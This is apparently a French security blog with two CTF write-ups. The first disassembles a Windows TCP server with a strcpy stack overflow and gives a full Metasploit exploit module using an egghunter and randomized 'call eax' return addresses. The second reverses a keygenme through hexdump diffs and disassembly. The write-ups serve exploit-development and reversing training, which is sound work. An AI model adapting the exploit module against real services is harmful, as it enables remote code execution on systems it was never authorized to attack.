.text:00401257                 push    0               ; addrlen
.text:00401259                 push    0               ; addr
.text:0040125B                 mov     ecx, [ebp+s]
.text:0040125E                 push    ecx             ; s
.text:0040125F                 call    ds:accept
.text:00401265                 mov     [ebp+var_4], eax
.text:00401268                 cmp     [ebp+var_4], 0FFFFFFFFh
.text:0040126C                 jnz     short loc_40129C
.text:0040126E                 call    ds:WSAGetLastError
.text:00401274                 push    eax
.text:00401275                 push    offset aAcceptFailedWi ; "accept failed with error: %d\n"
.text:0040127A                 call    print_msg
.text:0040127F                 add     esp, 8
.text:00401282                 mov     edx, [ebp+s]
.text:00401285                 push    edx             ; s
.text:00401286                 call    ds:closesocket
.text:0040128C                 call    ds:WSACleanup
.text:00401292                 mov     eax, 1
.text:00401297                 jmp     loc_401409
.text:0040129C ; ---------------------------------------------------------------------------
.text:0040129C
.text:0040129C loc_40129C:                             ; CODE XREF: main+24C j
.text:0040129C                 mov     eax, [ebp+s]
.text:0040129F                 push    eax             ; s
.text:004012A0                 call    ds:closesocket
.text:004012A6
.text:004012A6 loc_4012A6:                             ; CODE XREF: main+38B j
.text:004012A6                 push    0               ; flags
.text:004012A8                 push    800h            ; len
.text:004012AD                 lea     ecx, [ebp+buf]
.text:004012B3                 push    ecx             ; buf
.text:004012B4                 mov     edx, [ebp+var_4]
.text:004012B7                 push    edx             ; s
.text:004012B8                 call    ds:recv
.text:004012BE                 mov     [ebp+len], eax
.text:004012C4                 cmp     [ebp+len], 0
.text:004012CB                 jle     loc_401361
.text:004012D1                 mov     eax, [ebp+len]
.text:004012D7                 push    eax
.text:004012D8                 push    offset aBytesReceivedD ; "Bytes received: %d\n"
.text:004012DD                 call    print_msg
.text:004012E2                 add     esp, 8
.text:004012E5                 lea     ecx, [ebp+buf]
.text:004012EB                 push    ecx
.text:004012EC                 call    vuln_function
.text:004012F1                 add     esp, 4
.text:004012F4                 push    0               ; flags
.text:004012F6                 mov     edx, [ebp+len]
.text:004012FC                 push    edx             ; len
.text:004012FD                 lea     eax, [ebp+buf]
.text:00401303                 push    eax             ; buf
.text:00401304                 mov     ecx, [ebp+var_4]
.text:00401307                 push    ecx             ; s
.text:00401308                 call    ds:send
.text:0040130E                 mov     [ebp+var_9A8], eax
.text:00401314                 cmp     [ebp+var_9A8], 0FFFFFFFFh
.text:0040131B                 jnz     short loc_40134B
.text:0040131D                 call    ds:WSAGetLastError
.text:00401323                 push    eax
.text:00401324                 push    offset aSendFailedWith ; "send failed with error: %d\n"
.text:00401329                 call    print_msg
.text:0040132E                 add     esp, 8
.text:00401331                 mov     edx, [ebp+var_4]
.text:00401334                 push    edx             ; s
.text:00401335                 call    ds:closesocket
.text:0040133B                 call    ds:WSACleanup
.text:00401341                 mov     eax, 1
.text:00401346                 jmp     loc_401409
.text:0040134B ; ---------------------------------------------------------------------------
.text:0040134B
.text:0040134B loc_40134B:                             ; CODE XREF: main+2FB j
.text:0040134B                 mov     eax, [ebp+var_9A8]
.text:00401351                 push    eax
.text:00401352                 push    offset aBytesSentD ; "Bytes sent: %d\n"
.text:00401357                 call    print_msg
.text:0040135C                 add     esp, 8
.text:0040135F                 jmp     short loc_4013A4
.text:00401361 ; ---------------------------------------------------------------------------
.text:00401361
.text:00401361 loc_401361:                             ; CODE XREF: main+2AB j
.text:00401361                 cmp     [ebp+len], 0
.text:00401368                 jnz     short loc_401379
.text:0040136A                 push    offset aConnectionClos ; "Connection closing...\n"
.text:0040136F                 call    print_msg
.text:00401374                 add     esp, 4
.text:00401377                 jmp     short loc_4013A4
.text:00401379 ; ---------------------------------------------------------------------------
.text:00401379
.text:00401379 loc_401379:                             ; CODE XREF: main+348 j
.text:00401379                 call    ds:WSAGetLastError
.text:0040137F                 push    eax
.text:00401380                 push    offset aRecvFailedWith ; "recv failed with error: %d\n"
.text:00401385                 call    print_msg
.text:0040138A                 add     esp, 8
.text:0040138D                 mov     ecx, [ebp+var_4]
.text:00401390                 push    ecx             ; s
.text:00401391                 call    ds:closesocket
.text:00401397                 call    ds:WSACleanup
.text:0040139D                 mov     eax, 1
.text:004013A2                 jmp     short loc_401409
.text:004013A4 ; ---------------------------------------------------------------------------
.text:004013A4
.text:004013A4 loc_4013A4:                             ; CODE XREF: main+33F j
.text:004013A4                                         ; main+357 j
.text:004013A4                 cmp     [ebp+len], 0
.text:004013AB                 jg      loc_4012A6
.text:004013B1                 push    1               ; how
.text:004013B3                 mov     edx, [ebp+var_4]
.text:004013B6                 push    edx             ; s
.text:004013B7                 call    ds:shutdown
.text:004013BD                 mov     [ebp+len], eax
.text:004013C3                 cmp     [ebp+len], 0FFFFFFFFh
.text:004013CA                 jnz     short loc_4013F7
.text:004013CC                 call    ds:WSAGetLastError
.text:004013D2                 push    eax
.text:004013D3                 push    offset aShutdownFailed ; "shutdown failed with error: %d\n"
.text:004013D8                 call    print_msg
.text:004013DD                 add     esp, 8
.text:004013E0                 mov     eax, [ebp+var_4]
.text:004013E3                 push    eax             ; s
.text:004013E4                 call    ds:closesocket
.text:004013EA                 call    ds:WSACleanup
.text:004013F0                 mov     eax, 1
.text:004013F5                 jmp     short loc_401409
.text:004013F7 ; ---------------------------------------------------------------------------
.text:004013F7
.text:004013F7 loc_4013F7:                             ; CODE XREF: main+3AA j
.text:004013F7                 mov     ecx, [ebp+var_4]
.text:004013FA                 push    ecx             ; s
.text:004013FB                 call    ds:closesocket
.text:00401401                 call    ds:WSACleanup
.text:00401407                 xor     eax, eax
.text:00401409
.text:00401409 loc_401409:                             ; CODE XREF: main+8A j
.text:00401409                                         ; main+113 j ...
.text:00401409                 mov     esp, ebp
.text:0040140B                 pop     ebp
.text:0040140C                 retn
.text:0040140C main            endp

En gros, le programme lance une socket en écoute, fait un recv(), appelle la fonction vulnérable, send() et bye.

Voilà la fonction vulnérable:
.text:00401000 vuln_function   proc near               ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf       = byte ptr -100h
.text:00401000 recv_buf        = dword ptr  8
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 100h
.text:00401009                 mov     eax, [ebp+recv_buf]
.text:0040100C                 push    eax             ; char *
.text:0040100D                 lea     ecx, [ebp+local_buf]
.text:00401013                 push    ecx             ; char *
.text:00401014                 call    _strcpy
.text:00401019                 add     esp, 8
.text:0040101C                 mov     esp, ebp
.text:0040101E                 pop     ebp
.text:0040101F                 retn
.text:0040101F vuln_function   endp

Elle prend en paramètre l'addresse du buffer que recv() utilise et copie celui-ci dans un buffer local de 256 octets.
256 octets n'est pas suffisant pour avoir une payload Windows vraiment très utile et strcpy() s'arrête au 0.
Qu'à celà ne tienne, nous avons assez de place pour y placer un egghunter pour rechercher la payload qui se trouvera dans le buffer dans lequel recv() écrit.
Grâce à recv() nous pouvons placer autant de 0 qu'on veut après les 260 bytes nécessaires pour re-écrire le seip (saved eip).
Une chose intéressante à savoir est que strcpy() renvoie le buffer résultant et donc son addresse se trouve dans EAX. Nous n'avons plus qu'à retourner sur un "call eax" et nous aurons fini le challenge.
Le SEIP se trouvent après 260 octets car la pile de vuln_function s'articule ainsi:
[recv_buf][seip][sebp][local_buf]

Let's exploit it then folks!

First on recherche une addresse vers "call eax" :
$ objdump -d server.exe | grep -i call | grep -i eax
  4022d5: ff d0                 call   *%eax
  402301: ff d0                 call   *%eax
  402322: ff d0                 call   *%eax
  402ca0: ff d0                 call   *%eax
  402d89: ff d0                 call   *%eax
  402e92: ff d0                 call   *%eax
  402eb3: ff d0                 call   *%eax
  4038e3: ff d0                 call   *%eax
  403909: ff d0                 call   *%eax
  403972: ff d0                 call   *%eax
  403a63: ff d0                 call   *%eax
  403a92: ff d0                 call   *%eax
  403d2f: ff d0                 call   *%eax
  403d5e: ff d0                 call   *%eax
  405528: ff d0                 call   *%eax
  4057a0: ff d0                 call   *%eax
  405a07: ff d0                 call   *%eax
  405a24: ff d0                 call   *%eax
  405a41: ff d0                 call   *%eax
  4074c4: ff d0                 call   *%eax
Soit une vingtaine d'addresse :).

Ca nous donne un tableau de rets (randomisons le plus possible ;)):
# ret return to : call eax
rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]

Ensuite nous voulons un egghunter, pour celà on fait usage du egghunter mixin:
# use egghunter technique
hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

Il reste plus qu'à construire notre payload et à l'envoyer:
# egghunter
egg = hunter
# it nevers get here (egghunter), so rand_text is safe :)
egg << rand_text_alphanumeric(ret_offset - hunter.length)
# usual way to do :
# egg << [target.ret].pack('V')
# better way :) (randomly choose ret address in array)
egg << [rets[rand(rets.length)]].pack('V')
# payload won't get copied in current buffer due to strcpy()
# but it is present somewhere else in memory due to recv() :)
egg << egg_payload

sock.put(egg)

Celà nous donne donc l'exploit suivant:
##
# $Id: novactf_january2011.rb 11541 2011-01-11 06:05:00Z m_101 $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NovaCTF January 2011 (Windows)',
   'Description'    => %q{
    Exploit NovaCTF January 2011
   },
   'Author'         => [ 'm_101' ],
   'Version'        => '$Revision: 11541 $',
   'References'     =>
    [
     ['URL', 'http://binholic.blogspot.com']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 744,
   # NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols
     'BadChars' => "\x0a\x0d\x00",
     'DisableNops' => true
    },
   'Platform'       => [ 'windows', ],
   'Targets'        =>
   [
    [ 'Windows XP (Generic)',
     {
      'Ret' => ''  # empty (we randomize it in the exploit()
     }
    ]
   ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 11 2011'))

  register_options(
   [
    Opt::RPORT(1337),
   ], self.class )
 end

 def exploit
 connect

 # ret return to : call eax
    rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]

 ret_offset = 260

 # use egghunter technique
 hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

 # egghunter
 egg = hunter
 # it nevers get here (egghunter), so rand_text is safe :)
 egg << rand_text_alphanumeric(ret_offset - hunter.length)
 # usual way to do :
 # egg << [target.ret].pack('V')
 # better way :) (randomly choose ret address in array)
 egg << [rets[rand(rets.length)]].pack('V')
 # payload won't get copied in current buffer due to strcpy()
 # but it is present somewhere else in memory due to recv() :)
 egg << egg_payload

 sock.put(egg)
 handler
 disconnect
 end
end

Vous pourrez remarquer que ça fonctionne parfaitement sous Windows 7 si le DEP est désactivé.

Have fun,

m_101

- NovaCTF website: here
- NovaCTF solution by m_101: here

mercredi 2 février 2011

[Reversing] Ge0's KeygenMe fast

Bonjour,

Ce soir nous allons étudier rapidement un keygen me "basique", c'est-à-dire sans aucunes obfuscation, anti-debugging ou autre "protections" particulières.

C'est un challenge du site Zenk-Sécurité, pour cette raison, je ne vais pas dévoiler mon keygen mais juste donner des pistes (fortement détaillées).
Seuls ceux qui auront résolu le challenge pourront avoir accès à mon keygen.
Ca forcera les "gens" à lire entièrement ce write-up et à taper dans le challenge un minimum ^^.

Le page du challenge se trouve : ici.

On nous dit que la page http://venom630.free.fr/keygenmefast/keygenmefast.php va nous envoyer un keygenme sous forme d'un fichier ELF (exécutable Linux donc).
Le pseudo dont il faut générer le sérial se trouve dans les entêtes HTTP:
X-Pseudo-Keygenmefast: Overclok (par exemple)
Et pour finir, nous devons envoyer notre solution concaténée au pseudo sous la forme d'un hash SHA1.
http://venom630.free.fr/keygenmefast/verifkeygenmefast.php?solution=sha1.

De ces informations, nous pouvons tirer plusieurs hypothèses:
- un binaire de base est utilisé
- certaines données vont changer

Pour vérifier ces hypothèses, c'est somme toute assez simple, on va faire usage de diff et hexdump comme ci-dessous:
$ diff -u <(hexdump -C ./keygenmefast1) <(hexdump -C ./keygenmefast2)
--- /dev/fd/63 2011-02-02 16:50:47.833079643 +0100
+++ /dev/fd/62 2011-02-02 16:50:47.833079643 +0100
@@ -91,25 +91,25 @@
 000005a0  00 00 bb 42 a0 04 08 01  c3 8a 13 8b 7c 24 08 81  |...B........|$..|
 000005b0  c7 05 00 00 00 8a 37 38  f2 0f 85 ba fe ff ff 68  |......78.......h|
 000005c0  83 a0 04 08 e8 a7 fd ff  ff 31 c0 c9 c3 55 89 e5  |.........1...U..|
-000005d0  8b 45 08 25 ff 00 00 00  34 49 25 3f 00 00 00 c9  |.E.%....4I%?....|
+000005d0  8b 45 08 25 ff 00 00 00  34 13 25 3f 00 00 00 c9  |.E.%....4.%?....|
 000005e0  c2 04 00 55 89 e5 81 ec  08 00 00 00 8b 4d 0c 8b  |...U.........M..|
 000005f0  75 08 01 ce 31 c0 e9 0b  00 00 00 4e 8a 16 81 e2  |u...1......N....|
 00000600  ff 00 00 00 01 d0 49 81  f9 ff ff ff ff 75 ec 34  |......I......u.4|
-00000610  08 25 3f 00 00 00 c9 c2  08 00 55 89 e5 b8 01 00  |.%?.......U.....|
+00000610  84 25 3f 00 00 00 c9 c2  08 00 55 89 e5 b8 01 00  |.%?.......U.....|
 00000620  00 00 8b 75 08 8b 4d 0c  e9 0f 00 00 00 31 db 8a  |...u..M......1..|
 00000630  1e 80 e3 ff f7 e3 25 ff  00 00 00 46 49 81 f9 ff  |......%....FI...|
-00000640  ff ff ff 75 e8 34 7e 25  3f 00 00 00 c9 c2 08 00  |...u.4~%?.......|
+00000640  ff ff ff 75 e8 34 2f 25  3f 00 00 00 c9 c2 08 00  |...u.4/%?.......|
 00000650  55 89 e5 81 ec 04 00 00  00 8b 75 08 8a 06 8b 4d  |U.........u....M|
 00000660  0c e9 09 00 00 00 46 8a  1e 38 c3 76 02 88 d8 49  |......F..8.v...I|
-00000670  81 f9 ff ff ff ff 75 ee  34 a7 50 e8 b0 fc ff ff  |......u.4.P.....|
+00000670  81 f9 ff ff ff ff 75 ee  34 ed 50 e8 b0 fc ff ff  |......u.4.P.....|
 00000680  e8 fb fc ff ff 25 3f 00  00 00 c9 c2 08 00 55 89  |.....%?.......U.|
 00000690  e5 31 db 8b 75 08 8b 4d  0c 49 e9 1d 00 00 00 31  |.1..u..M.I.....1|
 000006a0  d2 8a 16 51 53 68 02 00  00 00 52 e8 58 00 00 00  |...QSh....R.X...|
 000006b0  5b 59 01 c3 81 e3 ff 00  00 00 46 49 81 f9 ff ff  |[Y........FI....|
-000006c0  ff ff 75 db 89 d8 34 46  25 3f 00 00 00 c9 c2 08  |..u...4F%?......|
+000006c0  ff ff 75 db 89 d8 34 77  25 3f 00 00 00 c9 c2 08  |..u...4w%?......|
 000006d0  00 55 89 e5 31 c0 8b 75  08 81 fe 00 00 00 00 74  |.U..1..u.......t|
 000006e0  1e e8 9a fc ff ff 8b 4d  08 e9 07 00 00 00 51 e8  |.......M......Q.|
-000006f0  8c fc ff ff 59 49 75 f6  25 ff 00 00 00 34 39 25  |....YIu.%....49%|
+000006f0  8c fc ff ff 59 49 75 f6  25 ff 00 00 00 34 57 25  |....YIu.%....4W%|
 00000700  3f 00 00 00 c9 c2 04 00  55 89 e5 8b 4d 0c b8 01  |?.......U...M...|
 00000710  00 00 00 81 f9 00 00 00  00 74 0f 8b 5d 08 f7 e3  |.........t..]...|
 00000720  e9 02 00 00 00 f7 e3 49  75 fb c9 c2 08 00 90 90  |.......Iu.......|
@@ -145,11 +145,11 @@
 00001010  76 83 04 08 86 83 04 08  00 00 00 00 00 00 00 00  |v...............|
 00001020  55 74 69 6c 69 73 61 74  69 6f 6e 20 3a 20 25 73  |Utilisation : %s|
 00001030  20 3c 70 73 65 75 64 6f  3e 20 3c 63 6c 65 66 3e  | &ltpseudo> &ltclef>|
-00001040  0a 00 52 76 6e 64 35 56  78 4b 4e 44 45 6b 70 5a  |..Rvnd5VxKNDEkpZ|
-00001050  2b 31 67 71 53 54 2d 75  62 73 72 68 6d 43 42 33  |+1gqST-ubsrhmCB3|
-00001060  63 61 30 38 6c 37 55 6f  46 32 66 69 50 79 77 4d  |ca08l7UoF2fiPywM|
-00001070  6a 7a 57 59 41 58 48 49  51 34 4c 47 65 74 36 39  |jzWYAXHIQ4LGet69|
-00001080  4a 4f 00 42 72 61 76 6f  20 21 21 0a 00 00 00 00  |JO.Bravo !!.....|
+00001040  0a 00 31 68 69 2b 59 42  65 56 61 4e 4c 33 44 4a  |..1hi+YBeVaNL3DJ|
+00001050  4d 45 58 7a 32 6c 74 50  5a 2d 78 6d 34 6f 47 53  |MEXz2ltPZ-xm4oGS|
+00001060  75 76 71 77 49 55 66 79  43 36 6a 70 6b 62 4b 54  |uvqwIUfyC6jpkbKT|
+00001070  35 6e 63 4f 57 73 46 39  72 67 38 64 52 48 37 30  |5ncOWsF9rg8dRH70|
+00001080  51 41 00 42 72 61 76 6f  20 21 21 0a 00 00 00 00  |QA.Bravo !!.....|
 00001090  47 43 43 3a 20 28 55 62  75 6e 74 75 2f 4c 69 6e  |GCC: (Ubuntu/Lin|
 000010a0  61 72 6f 20 34 2e 34 2e  34 2d 31 34 75 62 75 6e  |aro 4.4.4-14ubun|
 000010b0  74 75 35 29 20 34 2e 34  2e 35 00 00 2e 73 68 73  |tu5) 4.4.5...shs|

Ainsi on remarque qu'on a 6 octets qui changent et une chaîne de 64 caractères aussi qui est générée. Ca n'a pas l'air d'être de la base64 (ne finit pas par des =).

On récupère donc les différents offsets de ces diffs :
- offsets octets: 0x5d9, 0x610, 0x646, 0x679, 0x6c7, 0x6fe
- offset string: 0x1042
Et les valeurs correspondantes:
- octets: 0x13, 0x84, 0x2f, 0xed, 0x77, 0x57
- string:1hi+YBeVaNL3DJMEXz2ltPZ-xm4oGSuvqwIUfyC6jpkbKT5ncOWsF9rg8dRH70QAs
On verra à quoi ils servent par la suite.

Analysons la routine principale:

.text:08048450 ; =============== S U B R O U T I N E =======================================
.text:08048450
.text:08048450 ; Attributes: bp-based frame
.text:08048450
.text:08048450 main            proc near               ; DATA XREF: start+17 o
.text:08048450
.text:08048450 argc            = dword ptr  8
.text:08048450 argv            = dword ptr  0Ch
.text:08048450
.text:08048450                 push    ebp
.text:08048451                 mov     ebp, esp
.text:08048453                 mov     eax, [ebp+argc]
.text:08048456                 cmp     eax, 3
.text:0804845B                 jnb     short loc_8048485
.text:0804845D                 mov     esi, [ebp+argv]
.text:08048460                 mov     edi, [esi]
.text:08048462                 sub     esp, 8
.text:08048468                 mov     esi, offset format ; "Utilisation : %s  \n"
.text:0804846D                 mov     [esp], esi      ; s
.text:08048470                 mov     [esp+4], edi
.text:08048474                 call    _printf
.text:08048479
.text:08048479 main_exit:                              ; CODE XREF: main+6F j
.text:08048479                                         ; main+9B j ...
.text:08048479                 mov     eax, 1
.text:0804847E                 mov     ebx, 1          ; status
.text:08048483                 int     80h             ; LINUX - sys_exit
.text:08048485 ; ---------------------------------------------------------------------------
.text:08048485
.text:08048485 loc_8048485:                            ; CODE XREF: main+B j
.text:08048485                 sub     esp, 0Ch
.text:0804848B                 mov     ebx, [ebp+argv]
.text:0804848E                 mov     edx, ebx
.text:08048490                 add     edx, 4
.text:08048496                 mov     edx, [edx]
.text:08048498                 mov     [esp+4], edx    ; argv[1] <=> username
.text:0804849C                 mov     edx, ebx
.text:0804849E                 add     edx, 8
.text:080484A4                 mov     edx, [edx]
.text:080484A6                 mov     [esp+8], edx
.text:080484AA                 mov     esi, [esp+8]    ; argv[2] <=> usersserial
.text:080484AE                 push    esi             ; userserial
.text:080484AF                 call    _strlen
.text:080484B4                 add     esp, 4
.text:080484BA                 cmp     eax, 6
.text:080484BF                 jnz     short main_exit
.text:080484C1                 mov     edi, [esp+4]
.text:080484C5                 push    edi             ; username
.text:080484C6                 call    _strlen
.text:080484CB                 add     esp, 4
.text:080484D1                 mov     [esp], eax      ; szUsername
.text:080484D4                 push    eax
.text:080484D5                 call    get_offset0
.text:080484DA                 mov     ebx, offset hash ; "1hi+YBeVaNL3DJMEXz2ltPZ-xm4oGSuvqwIUfyC"...
.text:080484DF                 add     ebx, eax
.text:080484E1                 mov     dl, [ebx]
.text:080484E3                 mov     edi, [esp+8]    ; argv[2] <=> userserial
.text:080484E7                 mov     dh, [edi]
.text:080484E9                 cmp     dl, dh
.text:080484EB                 jnz     short main_exit
.text:080484ED                 mov     edi, [esp]      ; szUsername
.text:080484F0                 push    edi
.text:080484F1                 mov     edi, [esp+8]    ; argv[2] <=> userserial
.text:080484F5                 push    edi
.text:080484F6                 call    get_offset1
.text:080484FB                 mov     ebx, offset hash ; "1hi+YBeVaNL3DJMEXz2ltPZ-xm4oGSuvqwIUfyC"...
.text:08048500                 add     ebx, eax
.text:08048502                 mov     dl, [ebx]
.text:08048504                 mov     edi, [esp+8]
.text:08048508                 inc     edi
.text:08048509                 mov     dh, [edi]
.text:0804850B                 cmp     dl, dh
.text:0804850D                 jnz     main_exit
.text:08048513                 mov     edi, [esp]      ; szUsername
.text:08048516                 push    edi
.text:08048517                 mov     edi, [esp+8]    ; argv[2] <=> userserial
.text:0804851B                 push    edi
.text:0804851C                 call    get_offset2
.text:08048521                 mov     ebx, offset hash ; "1hi+YBeVaNL3DJMEXz2ltPZ-xm4oGSuvqwIUfyC"...
.text:08048526                 add     ebx, eax
.text:08048528                 mov     dl, [ebx]
.text:0804852A                 mov     edi, [esp+8]
.text:0804852E                 add     edi, 2
.text:08048534                 mov     dh, [edi]
.text:08048536                 cmp     dl, dh
.text:08048538                 jnz     main_exit
.text:0804853E                 mov     edi, [esp]      ; szUsername
.text:08048541                 push    edi
.text:08048542                 mov     edi, [esp+8]    ; argv[2] <=> userserial
.text:08048546                 push    edi
.text:08048547                 call    get_offset3
.text:0804854C                 mov     ebx, offset hash ; "1hi+YBeVaNL3DJMEXz2ltPZ-xm4oGSuvqwIUfyC"...
.text:08048551                 add     ebx, eax
.text:08048553                 mov     dl, [ebx]
.text:08048555                 mov     edi, [esp+8]
.text:08048559                 add     edi, 3
.text:0804855F                 mov     dh, [edi]
.text:08048561                 cmp     dl, dh
.text:08048563                 jnz     main_exit
.text:08048569                 mov     edi, [esp]      ; szUsername
.text:0804856C                 push    edi
.text:0804856D                 mov     edi, [esp+8]    ; argv[2] <=> userserial
.text:08048571                 push    edi
.text:08048572                 call    get_offset4
.text:08048577                 mov     ebx, offset hash ; "1hi+YBeVaNL3DJMEXz2ltPZ-xm4oGSuvqwIUfyC"...
.text:0804857C                 add     ebx, eax
.text:0804857E                 mov     dl, [ebx]
.text:08048580                 mov     edi, [esp+8]    ; argv[2] <=> userserial
.text:08048584                 add     edi, 4
.text:0804858A                 mov     dh, [edi]
.text:0804858C                 cmp     dl, dh
.text:0804858E                 jnz     main_exit
.text:08048594                 mov     edi, [esp+4]    ; argv[1] <=> username
.text:08048598                 xor     edx, edx
.text:0804859A                 mov     dl, [edi]
.text:0804859C                 push    edx
.text:0804859D                 call    get_offset5
.text:080485A2                 mov     ebx, offset hash ; "1hi+YBeVaNL3DJMEXz2ltPZ-xm4oGSuvqwIUfyC"...
.text:080485A7                 add     ebx, eax
.text:080485A9                 mov     dl, [ebx]
.text:080485AB                 mov     edi, [esp+8]
.text:080485AF                 add     edi, 5
.text:080485B5                 mov     dh, [edi]
.text:080485B7                 cmp     dl, dh
.text:080485B9                 jnz     main_exit
.text:080485BF                 push    offset aBravo   ; "Bravo !!\n"
.text:080485C4                 call    _printf
.text:080485C9                 xor     eax, eax
.text:080485CB                 leave
.text:080485CC                 retn
.text:080485CC main            endp ; sp-analysis failed

On remarque que des blocs ont le même pattern:
- appel d'une fonction qui calcule un dword
- ajout de ce dword à hash
- comparaison du caractère calculé et du caractère entré
    -> si incorrect on sort du keygen
    -> si correct on continue
- lorsqu'on arrive à la fin, on obtient un "Bravo !!\n" ^^

Maintenant, en analysant chaque fonction de calcul d'offset, on remarque les choses suivantes:
get_offset0:
.text:080485D8                 xor     al, 13h
.text:080485DA                 and     eax, 3Fh
.text:080485DF                 leave
.text:080485E0                 retn    4
.text:080485E0 get_offset0     endp
get_offset1:
.text:0804860F                 xor     al, 84h
.text:08048611                 and     eax, 3Fh
.text:08048616                 leave
.text:08048617                 retn    8
.text:08048617 get_offset1     endp
get_offset2:
.text:08048645                 xor     al, 2Fh
.text:08048647                 and     eax, 3Fh
.text:0804864C                 leave
.text:0804864D                 retn    8
.text:0804864D get_offset2     endp
get_offset3:
.text:08048678                 xor     al, 0EDh
.text:0804867A                 push    eax             ; seed
.text:0804867B                 call    _srand
.text:08048680                 call    _rand
.text:08048685                 and     eax, 3Fh
.text:0804868A                 leave
.text:0804868B                 retn    8
.text:0804868B get_offset3     endp
get_offset4:
.text:080486C6                 xor     al, 77h
.text:080486C8                 and     eax, 3Fh
.text:080486CD                 leave
.text:080486CE                 retn    8
.text:080486CE get_offset4     endp
get_offset5:
.text:080486FF                 and     eax, 3Fh
.text:08048704                 leave
.text:08048705                 retn    4
.text:08048705 get_offset5     endp
Vous vous souvenez de nos 6 octets "changeant"?
- octets: 0x13, 0x84, 0x2f, 0xed, 0x77, 0x57
Eh oui, ce sont les "clés" utilisées par les fonctions de calcul d'offset.

En fait, le keygenme va faire les choses suivantes:
- vérification de la longueur de l'username
- vérification de la longueur du serial
    -> bye bye si pas égal à 6
- calculs des offsets en utilisant les 6 bytes
- calcul du sérial
- comparaison entre le serial rentré et le sérial calculé
- bravo ou exit

On se rend compte que pour calculer les différents offsets, le serial est utilisé.
Je suis parti dans l'idée d'utiliser l'username pour générer le serial.

Et voilà, reste plus qu'à coder un beau keygen ;).

Have fun,

m_101

- Mon keygen: Keygen